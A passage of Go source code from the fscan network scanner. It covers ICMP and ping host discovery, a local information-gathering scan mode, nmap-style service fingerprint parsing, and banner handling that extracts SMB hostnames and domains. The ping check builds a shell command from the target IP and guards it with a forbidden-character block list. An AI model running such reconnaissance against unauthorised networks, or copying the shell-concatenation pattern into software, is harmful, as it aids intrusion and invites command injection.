"$", "\\", "'", "%", "\"", "\n"} for _, char := range forbiddenChars { if strings.Contains(ip, char) { return false } } var command *exec.Cmd // 根据操作系统选择不同的ping命令 switch runtime.GOOS { case "windows": command = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false") case "darwin": command = exec.Command("/bin/bash", "-c", "ping -c 1 -W 1 "+ip+" && echo true || echo false") default: // linux command = exec.Command("/bin/bash", "-c", "ping -c 1 -w 1 "+ip+" && echo true || echo false") } // 捕获命令输出 var outinfo bytes.Buffer command.Stdout = &outinfo // 执行命令 if err := command.Start(); err != nil { return false } if err := command.Wait(); err != nil { return false } // 分析输出结果 output := outinfo.String() return strings.Contains(output, "true") && strings.Count(output, ip) > 2 } // makemsg 构造ICMP echo请求消息 func makemsg(host string) []byte { msg := make([]byte, 40) // 获取标识符 id0, id1 := genIdentifier(host) // 设置ICMP头部 msg[0] = 8 // Type: Echo Request msg[1] = 0 // Code: 0 msg[2] = 0 // Checksum高位(待计算) msg[3] = 0 // Checksum低位(待计算) msg[4], msg[5] = id0, id1 // Identifier msg[6], msg[7] = genSequence(1) // Sequence Number // 计算校验和 check := checkSum(msg[0:40]) msg[2] = byte(check >> 8) // 设置校验和高位 msg[3] = byte(check & 255) // 设置校验和低位 return msg } // checkSum 计算ICMP校验和 func checkSum(msg []byte) uint16 { sum := 0 length := len(msg) // 按16位累加 for i := 0; i < length-1; i += 2 { sum += int(msg[i])*256 + int(msg[i+1]) } // 处理奇数长度情况 if length%2 == 1 { sum += int(msg[length-1]) * 256 } // 将高16位加到低16位 sum = (sum >> 16) + (sum & 0xffff) sum = sum + (sum >> 16) // 取反得到校验和 return uint16(^sum) } // genSequence 生成ICMP序列号 func genSequence(v int16) (byte, byte) { ret1 := byte(v >> 8) // 高8位 ret2 := byte(v & 255) // 低8位 return ret1, ret2 } // genIdentifier 根据主机地址生成标识符 func genIdentifier(host string) (byte, byte) { return host[0], host[1] // 使用主机地址前两个字节 } // ArrayCountValueTop 统计IP地址段存活数量并返回TOP N结果 func ArrayCountValueTop(arrInit []string, length int, flag bool) (arrTop []string, arrLen []int) { if len(arrInit) == 0 { return } // 统计各网段出现次数 segmentCounts := make(map[string]int) for _, ip := range arrInit { segments := strings.Split(ip, ".") if len(segments) != 4 { continue } // 根据flag确定统计B段还是C段 var segment string if flag { segment = fmt.Sprintf("%s.%s", segments[0], segments[1]) // B段 } else { segment = fmt.Sprintf("%s.%s.%s", segments[0], segments[1], segments[2]) // C段 } segmentCounts[segment]++ } // 创建副本用于排序 sortMap := make(map[string]int) for k, v := range segmentCounts { sortMap[k] = v } // 获取TOP N结果 for i := 0; i < length && len(sortMap) > 0; i++ { maxSegment := "" maxCount := 0 // 查找当前最大值 for segment, count := range sortMap { if count > maxCount { maxCount = count maxSegment = segment } } // 添加到结果集 arrTop = append(arrTop, maxSegment) arrLen = append(arrLen, maxCount) // 从待处理map中删除已处理项 delete(sortMap, maxSegment) } return } ================================================ FILE: Core/LocalScanner.go ================================================ package Core import ( "fmt" "github.com/shadow1ng/fscan/Common" "strings" "sync" ) // LocalScanStrategy 本地扫描策略 type LocalScanStrategy struct{} // NewLocalScanStrategy 创建新的本地扫描策略 func NewLocalScanStrategy() *LocalScanStrategy { return &LocalScanStrategy{} } // Name 返回策略名称 func (s *LocalScanStrategy) Name() string { return "本地扫描" } // Description 返回策略描述 func (s *LocalScanStrategy) Description() string { return "收集本地系统信息" } // Execute 执行本地扫描策略 func (s *LocalScanStrategy) Execute(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { Common.LogBase("执行本地信息收集") // 验证插件配置 if err := validateScanPlugins(); err != nil { Common.LogError(err.Error()) return } // 输出插件信息 s.LogPluginInfo() // 准备目标(本地扫描通常只有一个目标,即本机) targets := s.PrepareTargets(info) // 执行扫描任务 ExecuteScanTasks(targets, s, ch, wg) } // PrepareTargets 准备本地扫描目标 func (s *LocalScanStrategy) PrepareTargets(info Common.HostInfo) []Common.HostInfo { // 本地扫描只使用传入的目标信息,不做额外处理 return []Common.HostInfo{info} } // GetPlugins 获取本地扫描插件列表 func (s *LocalScanStrategy) GetPlugins() ([]string, bool) { // 如果指定了特定插件且不是"all" if Common.ScanMode != "" && Common.ScanMode != "all" { requestedPlugins := parsePluginList(Common.ScanMode) if len(requestedPlugins) == 0 { requestedPlugins = []string{Common.ScanMode} } // 验证插件是否存在,不做Local类型过滤 var validPlugins []string for _, name := range requestedPlugins { if _, exists := Common.PluginManager[name]; exists { validPlugins = append(validPlugins, name) } } return validPlugins, true } // 未指定或使用"all":获取所有插件,由IsPluginApplicable做类型过滤 return GetAllPlugins(), false } // LogPluginInfo 输出本地扫描插件信息 func (s *LocalScanStrategy) LogPluginInfo() { allPlugins, isCustomMode := s.GetPlugins() // 如果是自定义模式,直接显示用户指定的插件 if isCustomMode { Common.LogBase(fmt.Sprintf("本地模式: 使用指定插件: %s", strings.Join(allPlugins, ", "))) return } // 在自动模式下,只显示Local类型的插件 var applicablePlugins []string for _, pluginName := range allPlugins { plugin, exists := Common.PluginManager[pluginName] if exists && plugin.HasType(Common.PluginTypeLocal) { applicablePlugins = append(applicablePlugins, pluginName) } } if len(applicablePlugins) > 0 { Common.LogBase(fmt.Sprintf("本地模式: 使用本地插件: %s", strings.Join(applicablePlugins, ", "))) } else { Common.LogBase("本地模式: 未找到可用的本地插件") } } // IsPluginApplicable 判断插件是否适用于本地扫描 func (s *LocalScanStrategy) IsPluginApplicable(plugin Common.ScanPlugin, targetPort int, isCustomMode bool) bool { // 自定义模式下运行所有明确指定的插件 if isCustomMode { return true } // 非自定义模式下,只运行Local类型插件 return plugin.HasType(Common.PluginTypeLocal) } ================================================ FILE: Core/PluginUtils.go ================================================ package Core import ( "fmt" "github.com/shadow1ng/fscan/Common" "strings" ) // 插件列表解析和验证 func parsePluginList(pluginStr string) []string { if pluginStr == "" { return nil } // 按逗号分割并去除每个插件名称两端的空白 plugins := strings.Split(pluginStr, ",") for i, p := range plugins { plugins[i] = strings.TrimSpace(p) } // 过滤空字符串 var result []string for _, p := range plugins { if p != "" { result = append(result, p) } } return result } // 验证扫描插件的有效性 func validateScanPlugins() error { // 如果未指定扫描模式或使用All模式,则无需验证 if Common.ScanMode == "" || Common.ScanMode == "all" { return nil } // 解析插件列表 plugins := parsePluginList(Common.ScanMode) if len(plugins) == 0 { plugins = []string{Common.ScanMode} } // 验证每个插件是否有效 var invalidPlugins []string for _, plugin := range plugins { if _, exists := Common.PluginManager[plugin]; !exists { invalidPlugins = append(invalidPlugins, plugin) } } if len(invalidPlugins) > 0 { return fmt.Errorf("无效的插件: %s", strings.Join(invalidPlugins, ", ")) } return nil } ================================================ FILE: Core/PortFinger.go ================================================ package Core import ( _ "embed" "encoding/hex" "fmt" "github.com/shadow1ng/fscan/Common" "regexp" "strconv" "strings" ) //go:embed nmap-service-probes.txt var ProbeString string var v VScan // 改为VScan类型而不是指针 type VScan struct { Exclude string AllProbes []Probe UdpProbes []Probe Probes []Probe ProbesMapKName map[string]Probe } type Probe struct { Name string // 探测器名称 Data string // 探测数据 Protocol string // 协议 Ports string // 端口范围 SSLPorts string // SSL端口范围 TotalWaitMS int // 总等待时间 TCPWrappedMS int // TCP包装等待时间 Rarity int // 稀有度 Fallback string // 回退探测器名称 Matchs *[]Match // 匹配规则列表 } type Match struct { IsSoft bool // 是否为软匹配 Service string // 服务名称 Pattern string // 匹配模式 VersionInfo string // 版本信息格式 FoundItems []string // 找到的项目 PatternCompiled *regexp.Regexp // 编译后的正则表达式 } type Directive struct { DirectiveName string Flag string Delimiter string DirectiveStr string } type Extras struct { VendorProduct string Version string Info string Hostname string OperatingSystem string DeviceType string CPE string } func init() { Common.LogDebug("开始初始化全局变量") v = VScan{} // 直接初始化VScan结构体 v.Init() // 获取并检查 NULL 探测器 if nullProbe, ok := v.ProbesMapKName["NULL"]; ok { Common.LogDebug(fmt.Sprintf("成功获取NULL探测器,Data长度: %d", len(nullProbe.Data))) null = &nullProbe } else { Common.LogDebug("警告: 未找到NULL探测器") } // 获取并检查 GenericLines 探测器 if commonProbe, ok := v.ProbesMapKName["GenericLines"]; ok { Common.LogDebug(fmt.Sprintf("成功获取GenericLines探测器,Data长度: %d", len(commonProbe.Data))) common = &commonProbe } else { Common.LogDebug("警告: 未找到GenericLines探测器") } Common.LogDebug("全局变量初始化完成") } // 解析指令语法,返回指令结构 func (p *Probe) getDirectiveSyntax(data string) (directive Directive) { Common.LogDebug("开始解析指令语法,输入数据: " + data) directive = Directive{} // 查找第一个空格的位置 blankIndex := strings.Index(data, " ") if blankIndex == -1 { Common.LogDebug("未找到空格分隔符") return directive } // 解析各个字段 directiveName := data[:blankIndex] Flag := data[blankIndex+1 : blankIndex+2] delimiter := data[blankIndex+2 : blankIndex+3] directiveStr := data[blankIndex+3:] directive.DirectiveName = directiveName directive.Flag = Flag directive.Delimiter = delimiter directive.DirectiveStr = directiveStr Common.LogDebug(fmt.Sprintf("指令解析结果: 名称=%s, 标志=%s, 分隔符=%s, 内容=%s", directiveName, Flag, delimiter, directiveStr)) return directive } // 解析探测器信息 func (p *Probe) parseProbeInfo(probeStr string) { Common.LogDebug("开始解析探测器信息,输入字符串: " + probeStr) // 提取协议和其他信息 proto := probeStr[:4] other := probeStr[4:] // 验证协议类型 if !(proto == "TCP " || proto == "UDP ") { errMsg := "探测器协议必须是 TCP 或 UDP" Common.LogDebug("错误: " + errMsg) panic(errMsg) } // 验证其他信息不为空 if len(other) == 0 { errMsg := "nmap-service-probes - 探测器名称无效" Common.LogDebug("错误: " + errMsg) panic(errMsg) } // 解析指令 directive := p.getDirectiveSyntax(other) // 设置探测器属性 p.Name = directive.DirectiveName p.Data = strings.Split(directive.DirectiveStr, directive.Delimiter)[0] p.Protocol = strings.ToLower(strings.TrimSpace(proto)) Common.LogDebug(fmt.Sprintf("探测器解析完成: 名称=%s, 数据=%s, 协议=%s", p.Name, p.Data, p.Protocol)) } // 从字符串解析探测器信息 func (p *Probe) fromString(data string) error { Common.LogDebug("开始解析探测器字符串数据") var err error // 预处理数据 data = strings.TrimSpace(data) lines := strings.Split(data, "\n") if len(lines) == 0 { return fmt.Errorf("输入数据为空") } probeStr := lines[0] p.parseProbeInfo(probeStr) // 解析匹配规则和其他配置 var matchs []Match for _, line := range lines { Common.LogDebug("处理行: " + line) switch { case strings.HasPrefix(line, "match "): match, err := p.getMatch(line) if err != nil { Common.LogDebug("解析match失败: " + err.Error()) continue } matchs = append(matchs, match) case strings.HasPrefix(line, "softmatch "): softMatch, err := p.getSoftMatch(line) if err != nil { Common.LogDebug("解析softmatch失败: " + err.Error()) continue } matchs = append(matchs, softMatch) case strings.HasPrefix(line, "ports "): p.parsePorts(line) case strings.HasPrefix(line, "sslports "): p.parseSSLPorts(line) case strings.HasPrefix(line, "totalwaitms "): p.parseTotalWaitMS(line) case strings.HasPrefix(line, "tcpwrappedms "): p.parseTCPWrappedMS(line) case strings.HasPrefix(line, "rarity "): p.parseRarity(line) case strings.HasPrefix(line, "fallback "): p.parseFallback(line) } } p.Matchs = &matchs Common.LogDebug(fmt.Sprintf("解析完成,共有 %d 个匹配规则", len(matchs))) return err } // 解析端口配置 func (p *Probe) parsePorts(data string) { p.Ports = data[len("ports")+1:] Common.LogDebug("解析端口: " + p.Ports) } // 解析SSL端口配置 func (p *Probe) parseSSLPorts(data string) { p.SSLPorts = data[len("sslports")+1:] Common.LogDebug("解析SSL端口: " + p.SSLPorts) } // 解析总等待时间 func (p *Probe) parseTotalWaitMS(data string) { waitMS, err := strconv.Atoi(strings.TrimSpace(data[len("totalwaitms")+1:])) if err != nil { Common.LogDebug("解析总等待时间失败: " + err.Error()) return } p.TotalWaitMS = waitMS Common.LogDebug(fmt.Sprintf("总等待时间: %d ms", waitMS)) } // 解析TCP包装等待时间 func (p *Probe) parseTCPWrappedMS(data string) { wrappedMS, err := strconv.Atoi(strings.TrimSpace(data[len("tcpwrappedms")+1:])) if err != nil { Common.LogDebug("解析TCP包装等待时间失败: " + err.Error()) return } p.TCPWrappedMS = wrappedMS Common.LogDebug(fmt.Sprintf("TCP包装等待时间: %d ms", wrappedMS)) } // 解析稀有度 func (p *Probe) parseRarity(data string) { rarity, err := strconv.Atoi(strings.TrimSpace(data[len("rarity")+1:])) if err != nil { Common.LogDebug("解析稀有度失败: " + err.Error()) return } p.Rarity = rarity Common.LogDebug(fmt.Sprintf("稀有度: %d", rarity)) } // 解析回退配置 func (p *Probe) parseFallback(data string) { p.Fallback = data[len("fallback")+1:] Common.LogDebug("回退配置: " + p.Fallback) } // 判断是否为十六进制编码 func isHexCode(b []byte) bool { matchRe := regexp.MustCompile(`\\x[0-9a-fA-F]{2}`) return matchRe.Match(b) } // 判断是否为八进制编码 func isOctalCode(b []byte) bool { matchRe := regexp.MustCompile(`\\[0-7]{1,3}`) return matchRe.Match(b) } // 判断是否为结构化转义字符 func isStructCode(b []byte) bool { matchRe := regexp.MustCompile(`\\[aftnrv]`) return matchRe.Match(b) } // 判断是否为正则表达式特殊字符 func isReChar(n int64) bool { reChars := `.*?+{}()^$|\` for _, char := range reChars { if n == int64(char) { return true } } return false } // 判断是否为其他转义序列 func isOtherEscapeCode(b []byte) bool { matchRe := regexp.MustCompile(`\\[^\\]`) return matchRe.Match(b) } // 从内容解析探测器规则 func (v *VScan) parseProbesFromContent(content string) { Common.LogDebug("开始解析探测器规则文件内容") var probes []Probe var lines []string // 过滤注释和空行 linesTemp := strings.Split(content, "\n") for _, lineTemp := range linesTemp { lineTemp = strings.TrimSpace(lineTemp) if lineTemp == "" || strings.HasPrefix(lineTemp, "#") { continue } lines = append(lines, lineTemp) } // 验证文件内容 if len(lines) == 0 { errMsg := "读取nmap-service-probes文件失败: 内容为空" Common.LogDebug("错误: " + errMsg) panic(errMsg) } // 检查Exclude指令 excludeCount := 0 for _, line := range lines { if strings.HasPrefix(line, "Exclude ") { excludeCount++ } if excludeCount > 1 { errMsg := "nmap-service-probes文件中只允许有一个Exclude指令" Common.LogDebug("错误: " + errMsg) panic(errMsg) } } // 验证第一行格式 firstLine := lines[0] if !(strings.HasPrefix(firstLine, "Exclude ") || strings.HasPrefix(firstLine, "Probe ")) { errMsg := "解析错误: 首行必须以\"Probe \"或\"Exclude \"开头" Common.LogDebug("错误: " + errMsg) panic(errMsg) } // 处理Exclude指令 if excludeCount == 1 { v.Exclude = firstLine[len("Exclude")+1:] lines = lines[1:] Common.LogDebug("解析到Exclude规则: " + v.Exclude) } // 合并内容并分割探测器 content = "\n" + strings.Join(lines, "\n") probeParts := strings.Split(content, "\nProbe")[1:] // 解析每个探测器 for _, probePart := range probeParts { probe := Probe{} if err := probe.fromString(probePart); err != nil { Common.LogDebug(fmt.Sprintf("解析探测器失败: %v", err)) continue } probes = append(probes, probe) } v.AllProbes = probes Common.LogDebug(fmt.Sprintf("成功解析 %d 个探测器规则", len(probes))) } // 将探测器转换为名称映射 func (v *VScan) parseProbesToMapKName() { Common.LogDebug("开始构建探测器名称映射") v.ProbesMapKName = map[string]Probe{} for _, probe := range v.AllProbes { v.ProbesMapKName[probe.Name] = probe Common.LogDebug("添加探测器映射: " + probe.Name) } } // 设置使用的探测器 func (v *VScan) SetusedProbes() { Common.LogDebug("开始设置要使用的探测器") for _, probe := range v.AllProbes { if strings.ToLower(probe.Protocol) == "tcp" { if probe.Name == "SSLSessionReq" { Common.LogDebug("跳过 SSLSessionReq 探测器") continue } v.Probes = append(v.Probes, probe) Common.LogDebug("添加TCP探测器: " + probe.Name) // 特殊处理TLS会话请求 if probe.Name == "TLSSessionReq" { sslProbe := v.ProbesMapKName["SSLSessionReq"] v.Probes = append(v.Probes, sslProbe) Common.LogDebug("为TLSSessionReq添加SSL探测器") } } else { v.UdpProbes = append(v.UdpProbes, probe) Common.LogDebug("添加UDP探测器: " + probe.Name) } } Common.LogDebug(fmt.Sprintf("探测器设置完成,TCP: %d个, UDP: %d个", len(v.Probes), len(v.UdpProbes))) } // 解析match指令获取匹配规则 func (p *Probe) getMatch(data string) (match Match, err error) { Common.LogDebug("开始解析match指令:" + data) match = Match{} // 提取match文本并解析指令语法 matchText := data[len("match")+1:] directive := p.getDirectiveSyntax(matchText) // 分割文本获取pattern和版本信息 textSplited := strings.Split(directive.DirectiveStr, directive.Delimiter) if len(textSplited) == 0 { return match, fmt.Errorf("无效的match指令格式") } pattern := textSplited[0] versionInfo := strings.Join(textSplited[1:], "") // 解码并编译正则表达式 patternUnescaped, decodeErr := DecodePattern(pattern) if decodeErr != nil { Common.LogDebug("解码pattern失败: " + decodeErr.Error()) return match, decodeErr } patternUnescapedStr := string([]rune(string(patternUnescaped))) patternCompiled, compileErr := regexp.Compile(patternUnescapedStr) if compileErr != nil { Common.LogDebug("编译正则表达式失败: " + compileErr.Error()) return match, compileErr } // 设置match对象属性 match.Service = directive.DirectiveName match.Pattern = pattern match.PatternCompiled = patternCompiled match.VersionInfo = versionInfo Common.LogDebug(fmt.Sprintf("解析match成功: 服务=%s, Pattern=%s", match.Service, match.Pattern)) return match, nil } // 解析softmatch指令获取软匹配规则 func (p *Probe) getSoftMatch(data string) (softMatch Match, err error) { Common.LogDebug("开始解析softmatch指令:" + data) softMatch = Match{IsSoft: true} // 提取softmatch文本并解析指令语法 matchText := data[len("softmatch")+1:] directive := p.getDirectiveSyntax(matchText) // 分割文本获取pattern和版本信息 textSplited := strings.Split(directive.DirectiveStr, directive.Delimiter) if len(textSplited) == 0 { return softMatch, fmt.Errorf("无效的softmatch指令格式") } pattern := textSplited[0] versionInfo := strings.Join(textSplited[1:], "") // 解码并编译正则表达式 patternUnescaped, decodeErr := DecodePattern(pattern) if decodeErr != nil { Common.LogDebug("解码pattern失败: " + decodeErr.Error()) return softMatch, decodeErr } patternUnescapedStr := string([]rune(string(patternUnescaped))) patternCompiled, compileErr := regexp.Compile(patternUnescapedStr) if compileErr != nil { Common.LogDebug("编译正则表达式失败: " + compileErr.Error()) return softMatch, compileErr } // 设置softMatch对象属性 softMatch.Service = directive.DirectiveName softMatch.Pattern = pattern softMatch.PatternCompiled = patternCompiled softMatch.VersionInfo = versionInfo Common.LogDebug(fmt.Sprintf("解析softmatch成功: 服务=%s, Pattern=%s", softMatch.Service, softMatch.Pattern)) return softMatch, nil } // 解码模式字符串,处理转义序列 func DecodePattern(s string) ([]byte, error) { Common.LogDebug("开始解码pattern: " + s) sByteOrigin := []byte(s) // 处理十六进制、八进制和结构化转义序列 matchRe := regexp.MustCompile(`\\(x[0-9a-fA-F]{2}|[0-7]{1,3}|[aftnrv])`) sByteDec := matchRe.ReplaceAllFunc(sByteOrigin, func(match []byte) (v []byte) { var replace []byte // 处理十六进制转义 if isHexCode(match) { hexNum := match[2:] byteNum, _ := strconv.ParseInt(string(hexNum), 16, 32) if isReChar(byteNum) { replace = []byte{'\\', uint8(byteNum)} } else { replace = []byte{uint8(byteNum)} } } // 处理结构化转义字符 if isStructCode(match) { structCodeMap := map[int][]byte{ 97: []byte{0x07}, // \a 响铃 102: []byte{0x0c}, // \f 换页 116: []byte{0x09}, // \t 制表符 110: []byte{0x0a}, // \n 换行 114: []byte{0x0d}, // \r 回车 118: []byte{0x0b}, // \v 垂直制表符 } replace = structCodeMap[int(match[1])] } // 处理八进制转义 if isOctalCode(match) { octalNum := match[2:] byteNum, _ := strconv.ParseInt(string(octalNum), 8, 32) replace = []byte{uint8(byteNum)} } return replace }) // 处理其他转义序列 matchRe2 := regexp.MustCompile(`\\([^\\])`) sByteDec2 := matchRe2.ReplaceAllFunc(sByteDec, func(match []byte) (v []byte) { if isOtherEscapeCode(match) { return match } return match }) Common.LogDebug("pattern解码完成") return sByteDec2, nil } // ProbesRarity 用于按稀有度排序的探测器切片 type ProbesRarity []Probe // Len 返回切片长度,实现 sort.Interface 接口 func (ps ProbesRarity) Len() int { return len(ps) } // Swap 交换切片中的两个元素,实现 sort.Interface 接口 func (ps ProbesRarity) Swap(i, j int) { ps[i], ps[j] = ps[j], ps[i] } // Less 比较函数,按稀有度升序排序,实现 sort.Interface 接口 func (ps ProbesRarity) Less(i, j int) bool { return ps[i].Rarity < ps[j].Rarity } // Target 定义目标结构体 type Target struct { IP string // 目标IP地址 Port int // 目标端口 Protocol string // 协议类型 } // ContainsPort 检查指定端口是否在探测器的端口范围内 func (p *Probe) ContainsPort(testPort int) bool { Common.LogDebug(fmt.Sprintf("检查端口 %d 是否在探测器端口范围内: %s", testPort, p.Ports)) // 检查单个端口 ports := strings.Split(p.Ports, ",") for _, port := range ports { port = strings.TrimSpace(port) cmpPort, err := strconv.Atoi(port) if err == nil && testPort == cmpPort { Common.LogDebug(fmt.Sprintf("端口 %d 匹配单个端口", testPort)) return true } } // 检查端口范围 for _, port := range ports { port = strings.TrimSpace(port) if strings.Contains(port, "-") { portRange := strings.Split(port, "-") if len(portRange) != 2 { Common.LogDebug("无效的端口范围格式: " + port) continue } start, err1 := strconv.Atoi(strings.TrimSpace(portRange[0])) end, err2 := strconv.Atoi(strings.TrimSpace(portRange[1])) if err1 != nil || err2 != nil { Common.LogDebug(fmt.Sprintf("解析端口范围失败: %s", port)) continue } if testPort >= start && testPort <= end { Common.LogDebug(fmt.Sprintf("端口 %d 在范围 %d-%d 内", testPort, start, end)) return true } } } Common.LogDebug(fmt.Sprintf("端口 %d 不在探测器端口范围内", testPort)) return false } // MatchPattern 使用正则表达式匹配响应内容 func (m *Match) MatchPattern(response []byte) bool { // 将响应转换为字符串并进行匹配 responseStr := string([]rune(string(response))) foundItems := m.PatternCompiled.FindStringSubmatch(responseStr) if len(foundItems) > 0 { m.FoundItems = foundItems Common.LogDebug(fmt.Sprintf("匹配成功,找到 %d 个匹配项", len(foundItems))) return true } return false } // ParseVersionInfo 解析版本信息并返回额外信息结构 func (m *Match) ParseVersionInfo(response []byte) Extras { Common.LogDebug("开始解析版本信息") var extras = Extras{} // 替换版本信息中的占位符 foundItems := m.FoundItems[1:] // 跳过第一个完整匹配项 versionInfo := m.VersionInfo for index, value := range foundItems { dollarName := "$" + strconv.Itoa(index+1) versionInfo = strings.Replace(versionInfo, dollarName, value, -1) } Common.LogDebug("替换后的版本信息: " + versionInfo) // 定义解析函数 parseField := func(field, pattern string) string { patterns := []string{ pattern + `/([^/]*)/`, // 斜线分隔 pattern + `\|([^|]*)\|`, // 竖线分隔 } for _, p := range patterns { if strings.Contains(versionInfo, pattern) { regex := regexp.MustCompile(p) if matches := regex.FindStringSubmatch(versionInfo); len(matches) > 1 { Common.LogDebug(fmt.Sprintf("解析到%s: %s", field, matches[1])) return matches[1] } } } return "" } // 解析各个字段 extras.VendorProduct = parseField("厂商产品", " p") extras.Version = parseField("版本", " v") extras.Info = parseField("信息", " i") extras.Hostname = parseField("主机名", " h") extras.OperatingSystem = parseField("操作系统", " o") extras.DeviceType = parseField("设备类型", " d") // 特殊处理CPE if strings.Contains(versionInfo, " cpe:/") || strings.Contains(versionInfo, " cpe:|") { cpePatterns := []string{`cpe:/([^/]*)`, `cpe:\|([^|]*)`} for _, pattern := range cpePatterns { regex := regexp.MustCompile(pattern) if cpeName := regex.FindStringSubmatch(versionInfo); len(cpeName) > 0 { if len(cpeName) > 1 { extras.CPE = cpeName[1] } else { extras.CPE = cpeName[0] } Common.LogDebug("解析到CPE: " + extras.CPE) break } } } return extras } // ToMap 将 Extras 转换为 map[string]string func (e *Extras) ToMap() map[string]string { Common.LogDebug("开始转换Extras为Map") result := make(map[string]string) // 定义字段映射 fields := map[string]string{ "vendor_product": e.VendorProduct, "version": e.Version, "info": e.Info, "hostname": e.Hostname, "os": e.OperatingSystem, "device_type": e.DeviceType, "cpe": e.CPE, } // 添加非空字段到结果map for key, value := range fields { if value != "" { result[key] = value Common.LogDebug(fmt.Sprintf("添加字段 %s: %s", key, value)) } } Common.LogDebug(fmt.Sprintf("转换完成,共有 %d 个字段", len(result))) return result } func DecodeData(s string) ([]byte, error) { if len(s) == 0 { Common.LogDebug("输入数据为空") return nil, fmt.Errorf("empty input") } Common.LogDebug(fmt.Sprintf("开始解码数据,长度: %d, 内容: %q", len(s), s)) sByteOrigin := []byte(s) // 处理十六进制、八进制和结构化转义序列 matchRe := regexp.MustCompile(`\\(x[0-9a-fA-F]{2}|[0-7]{1,3}|[aftnrv])`) sByteDec := matchRe.ReplaceAllFunc(sByteOrigin, func(match []byte) []byte { // 处理十六进制转义 if isHexCode(match) { hexNum := match[2:] byteNum, err := strconv.ParseInt(string(hexNum), 16, 32) if err != nil { return match } return []byte{uint8(byteNum)} } // 处理结构化转义字符 if isStructCode(match) { structCodeMap := map[int][]byte{ 97: []byte{0x07}, // \a 响铃 102: []byte{0x0c}, // \f 换页 116: []byte{0x09}, // \t 制表符 110: []byte{0x0a}, // \n 换行 114: []byte{0x0d}, // \r 回车 118: []byte{0x0b}, // \v 垂直制表符 } if replace, ok := structCodeMap[int(match[1])]; ok { return replace } return match } // 处理八进制转义 if isOctalCode(match) { octalNum := match[2:] byteNum, err := strconv.ParseInt(string(octalNum), 8, 32) if err != nil { return match } return []byte{uint8(byteNum)} } Common.LogDebug(fmt.Sprintf("无法识别的转义序列: %s", string(match))) return match }) // 处理其他转义序列 matchRe2 := regexp.MustCompile(`\\([^\\])`) sByteDec2 := matchRe2.ReplaceAllFunc(sByteDec, func(match []byte) []byte { if len(match) < 2 { return match } if isOtherEscapeCode(match) { return []byte{match[1]} } return match }) if len(sByteDec2) == 0 { Common.LogDebug("解码后数据为空") return nil, fmt.Errorf("decoded data is empty") } Common.LogDebug(fmt.Sprintf("解码完成,结果长度: %d, 内容: %x", len(sByteDec2), sByteDec2)) return sByteDec2, nil } // GetAddress 获取目标的完整地址(IP:端口) func (t *Target) GetAddress() string { addr := t.IP + ":" + strconv.Itoa(t.Port) Common.LogDebug("获取目标地址: " + addr) return addr } // trimBanner 处理和清理横幅数据 func trimBanner(buf []byte) string { Common.LogDebug("开始处理横幅数据") bufStr := string(buf) // 特殊处理SMB协议 if strings.Contains(bufStr, "SMB") { banner := hex.EncodeToString(buf) if len(banner) > 0xa+6 && banner[0xa:0xa+6] == "534d42" { // "SMB" in hex Common.LogDebug("检测到SMB协议数据") plain := banner[0xa2:] data, err := hex.DecodeString(plain) if err != nil { Common.LogDebug("SMB数据解码失败: " + err.Error()) return bufStr } // 解析domain var domain string var index int for i, s := range data { if s != 0 { domain += string(s) } else if i+1 < len(data) && data[i+1] == 0 { index = i + 2 break } } // 解析hostname var hostname string remainData := data[index:] for i, h := range remainData { if h != 0 { hostname += string(h) } if i+1 < len(remainData) && remainData[i+1] == 0 { break } } smbBanner := fmt.Sprintf("hostname: %s domain: %s", hostname, domain) Common.LogDebug("SMB横幅: " + smbBanner) return smbBanner } } // 处理常规数据 var src string for _, ch := range bufStr { if ch > 32 && ch < 125 { src += string(ch) } else { src += " " } } // 清理多余空白 re := regexp.MustCompile(`\s{2,}`) src = re.ReplaceAllString(src, ".") result := strings.TrimSpace(src) Common.LogDebug("处理后的横幅: " + result) return result } // Init 初始化VScan对象 func (v *VScan) Init() { Common.LogDebug("开始初始化VScan") v.parseProbesFromContent(ProbeString) v.parseProbesToMapKName() v.SetusedProbes() Common.LogDebug("VScan初始化完成") } ================================================ FILE: Core/PortInfo.go ================================================ package Core import ( "fmt" "github.com/shadow1ng/fscan/Common" "io" "net" "strings" "time" ) // ServiceInfo 定义服务识别的结果信息 type ServiceInfo struct { Name string // 服务名称,如 http、ssh 等 Banner string // 服务返回的横幅信息 Version string // 服务版本号 Extras map[string]string // 其他额外信息,如操作系统、产品名等 } // Result 定义单次探测的结果 type Result struct { Service Service // 识别出的服务信息 Banner string // 服务横幅 Extras map[string]string // 额外信息 Send []byte // 发送的探测数据 Recv []byte // 接收到的响应数据 } // Service 定义服务的基本信息 type Service struct { Name string // 服务名称 Extras map[string]string // 服务的额外属性 } // Info 定义单个端口探测的上下文信息 type Info struct { Address string // 目标IP地址 Port int // 目标端口 Conn net.Conn // 网络连接 Result Result // 探测结果 Found bool // 是否成功识别服务 } // PortInfoScanner 定义端口服务识别器 type PortInfoScanner struct { Address string // 目标IP地址 Port int // 目标端口 Conn net.Conn // 网络连接 Timeout time.Duration // 超时时间 info *Info // 探测上下文 } // 预定义的基础探测器 var ( null = new(Probe) // 空探测器,用于基本协议识别 common = new(Probe) // 通用探测器,用于常见服务识别 ) // NewPortInfoScanner 创建新的端口服务识别器实例 func NewPortInfoScanner(addr string, port int, conn net.Conn, timeout time.Duration) *PortInfoScanner { return &PortInfoScanner{ Address: addr, Port: port, Conn: conn, Timeout: timeout, info: &Info{ Address: addr, Port: port, Conn: conn, Result: Result{ Service: Service{}, }, }, } } // Identify 执行服务识别,返回识别结果 func (s *PortInfoScanner) Identify() (*ServiceInfo, error) { Common.LogDebug(fmt.Sprintf("开始识别服务 %s:%d", s.Address, s.Port)) s.info.PortInfo() // 构造返回结果 serviceInfo := &ServiceInfo{ Name: s.info.Result.Service.Name, Banner: s.info.Result.Banner, Version: s.info.Result.Service.Extras["version"], Extras: make(map[string]string), } // 复制额外信息 for k, v := range s.info.Result.Service.Extras { serviceInfo.Extras[k] = v } Common.LogDebug(fmt.Sprintf("服务识别完成 %s:%d => %s", s.Address, s.Port, serviceInfo.Name)) return serviceInfo, nil } // PortInfo 执行端口服务识别的主要逻辑 func (i *Info) PortInfo() { // 1. 首先尝试读取服务的初始响应 if response, err := i.Read(); err == nil && len(response) > 0 { Common.LogDebug(fmt.Sprintf("收到初始响应: %d 字节", len(response))) // 使用基础探测器检查响应 Common.LogDebug("尝试使用基础探测器(null/common)检查响应") if i.tryProbes(response, []*Probe{null, common}) { Common.LogDebug("基础探测器匹配成功") return } Common.LogDebug("基础探测器未匹配") } else if err != nil { 